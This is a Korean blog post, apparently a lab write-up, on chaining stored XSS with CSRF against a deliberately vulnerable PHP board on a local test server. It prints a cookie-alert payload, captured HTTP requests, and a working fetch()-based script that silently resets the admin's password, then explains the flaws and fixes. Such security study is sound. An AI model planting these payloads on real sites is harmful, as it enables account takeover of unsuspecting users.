Post

Stored XSS를 이용한 CSRF 공격 실습

Stored XSS 취약점과 CSRF 취약점을 결합하여 관리자 계정의 비밀번호를 탈취하는 공격 시나리오를 실습해보았다.

실습 환경

취약한 기능 페이지

1. 회원 게시판 (member_form.php, member_insert.php)

  • Stored XSS 취약: htmlspecialchars() 미적용
  • SQL Injection 방어 부족: Prepared Statement 미사용

2. 마이페이지 수정 (mypage_update.php)

  • CSRF 토큰 검증 없음
  • POST 요청만으로 비밀번호 변경 가능
  • Referer 검증 없음

취약점 분석

1단계: 초기 상태 확인

user01 계정으로 로그인하여 마이페이지에 접속한다.

user01 마이페이지 user01 계정의 마이페이지

현재 user01의 주소는 “user01”로 저장되어 있다.

2단계: Stored XSS 취약점 확인

회원 게시판에 XSS 페이로드를 삽입하여 취약점을 확인한다.

XSS 페이로드 삽입 <script>alert(document.cookie)</script> 페이로드 삽입

게시글을 저장한 후 해당 게시글을 클릭하면 스크립트가 실행되어 쿠키가 알림창으로 출력된다.

쿠키 알림 user01 계정의 세션 쿠키 출력

게시글 저장 시 입력값에 대한 필터링이 없으며, 게시글 출력 시에도 htmlspecialchars() 처리가 되지 않아 Stored XSS 취약점이 존재함.

3단계: CSRF 취약점 분석

user01의 마이페이지에서 회원정보를 수정하여 정상적인 요청을 분석하면,

회원정보 수정 user01 마이페이지에서 비밀번호와 주소 변경

Burp Suite Reapeater로 요청을 캡처했을 때 다음과 같은 POST 요청이 전송된다:

Burp Repeater - 정상 요청 mypage_update.php로 전송되는 회원정보 수정 요청

1
2
3
4
5
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=041g5mk2e2aoj06sc11im2oj93

username=user01&password=passwd_changed&password2=passwd_changed&address=%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C%EB%B3%80%EA%B2%BD

여기서 주목할 점:

  • CSRF 토큰 없음: 요청에 토큰 검증이 없음
  • 세션 쿠키만 사용: PHPSESSID만으로 인증
  • Referer 검증 없음: Referer 헤더 변조 가능

실제로 Referer를 http://192.168.56.104/logintest/member_list.php로 변조해도 요청이 성공한다:

Referer 변조 테스트 Referer 변조 후에도 정상적으로 회원정보가 수정됨

이는 CSRF 공격이 가능함을 의미한다.


CSRF 공격 시나리오

공격 개요

  1. 공격자(user01)가 악성 스크립트를 게시판에 저장
  2. 피해자(admin)가 해당 게시글 클릭
  3. 스크립트 자동 실행으로 admin의 세션으로 비밀번호 변경 요청 전송
  4. admin의 비밀번호가 공격자가 지정한 값으로 변경됨

1단계: 악성 페이로드 작성

Stored XSS를 이용한 CSRF 공격 페이로드를 작성한다:

CSRF 페이로드 작성 fetch API를 이용한 CSRF 페이로드

1
2
3
4
5
6
7
8
<script>
fetch('http://192.168.56.104/logintest/mypage_update.php',{
    method:'POST',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body:'password=hacked&password2=hacked&address=hacked_by_user01',
    credentials:'include'
});
</script>

페이로드 분석:

  • fetch(): 백그라운드에서 HTTP 요청 전송
  • credentials: 'include': 피해자의 세션 쿠키 자동 포함
  • body: admin의 비밀번호를 “hacked”로 변경하고 주소를 “hacked_by_user01”로 설정

2단계: admin 계정으로 게시글 접근

admin 계정으로 로그인한다.

admin 마이페이지 공격 전 admin 계정의 마이페이지 (주소: admin)

악성 스크립트가 저장된 게시글을 클릭한다.

악성 게시글 클릭 “csrf 테스트” 게시글 클릭

게시글 화면은 비어있지만, 백그라운드에서 스크립트가 실행된다.

3단계: 공격 실행 확인

Burp Suite History를 확인하면 두 개의 요청이 발생한 것을 볼 수 있다:

Burp History - 게시글 조회 member_view.php 페이지 요청 (#120)

요청 #120 분석:

1
2
GET /logintest/member_view.php?num=92 HTTP/1.1
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1

게시글을 조회하면서 악성 스크립트가 로드되었다.

Burp History - CSRF 요청 자동으로 생성된 mypage_update.php 요청 (#121)

요청 #121 분석:

1
2
3
4
5
6
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1
Referer: http://192.168.56.104/logintest/member_view.php?num=92

password=hacked&password2=hacked&address=hacked_by_user01

중요 포인트:

  • admin의 세션 쿠키가 자동으로 포함됨
  • 서버는 이를 admin의 정상적인 요청으로 인식
  • Referer는 게시글 페이지를 가리킴 (검증 없음)

응답:

1
2
3
4
<script>
    alert("회원정보가 수정되었습니다.");
    location.href="mypage.php";
</script>

성공적으로 회원 정보가 수정 되었다!

4단계: 공격 성공 확인

admin 계정의 마이페이지를 다시 확인한다.

공격 성공 admin의 주소가 “hacked_by_user01”로 변경됨

주소가 “hacked_by_user01”로 변경되었으며, 비밀번호도 “hacked”로 변경되었다.

이제 공격자는 admin / hacked로 로그인할 수 있게 되었다.


시행착오

문제 1: HTML 엔티티 변환

처음에는 스크립트가 실행되지 않고 텍스트로 표시되는 문제가 발생함…

원인:

1
2
3
// member_view.php
$content = str_replace(" ", "&nbsp;", $content);
$content = str_replace("\n", "<br>", $content);

공백과 줄바꿈을 HTML 엔티티로 변환하는 과정에서 스크립트 구문이 깨졌다.

해결: 해당 변환 코드를 주석처리하여 스크립트가 정상적으로 실행되도록 수정함…ㅎ…

문제 2: SQL 문법 에러

게시글 저장 시 다음과 같은 에러가 발생했다:

1
Fatal error: You have an error in your SQL syntax near 'http://192.168.56.104/logintest/mypage_update.php', { method: 'POST'

원인:

1
2
3
// member_insert.php (취약한 버전)
$content = $_POST['content'];
$sql = "INSERT INTO memberboard (content) VALUES ('$content')";

페이로드에 포함된 작은따옴표(')가 SQL 구문을 종료시켜 문법 에러 발생.

해결: Prepared Statement를 적용하여 특수문자 처리 문제를 해결했다:

1
2
3
4
// member_insert.php (수정 후)
$stmt = mysqli_prepare($conn, "INSERT INTO memberboard (username, title, content, wr_date, file_name, file_type, file_copied) VALUES (?, ?, ?, ?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssssss', $username, $title, $content, $wr_date, $upfile_name, $upfile_type, $copied_file_name);
mysqli_stmt_execute($stmt);

이제 작은따옴표가 포함된 스크립트도 정상적으로 DB에 저장된다. sqli도 막아짐.


취약점 정리

1. Stored XSS

  • 위치: member_insert.php, member_view.php
  • 원인: 입력값 필터링 없음, 출력 시 이스케이프 없음
  • 영향: 악성 스크립트 저장 및 실행 가능

2. CSRF

  • 위치: mypage_update.php
  • 원인: CSRF 토큰 검증 없음, Referer 검증 없음
  • 영향: 피해자의 세션으로 비밀번호 변경 가능

3. SQL Injection (부분 방어)

  • 위치: member_insert.php
  • 원인: Prepared Statement 미사용
  • 영향: 특수문자로 인한 SQL 구문 에러

결론: Stored XSS와 CSRF를 결합하면 사용자가 게시글을 클릭하는 것만으로 계정 탈취가 가능하다. 이를 방어하기 위해서는 입출력 검증, CSRF 토큰, Prepared Statement를 모두 적용해야 한다.


시큐어 코딩

어 나중에~~~

This post is licensed under CC BY 4.0 by the author.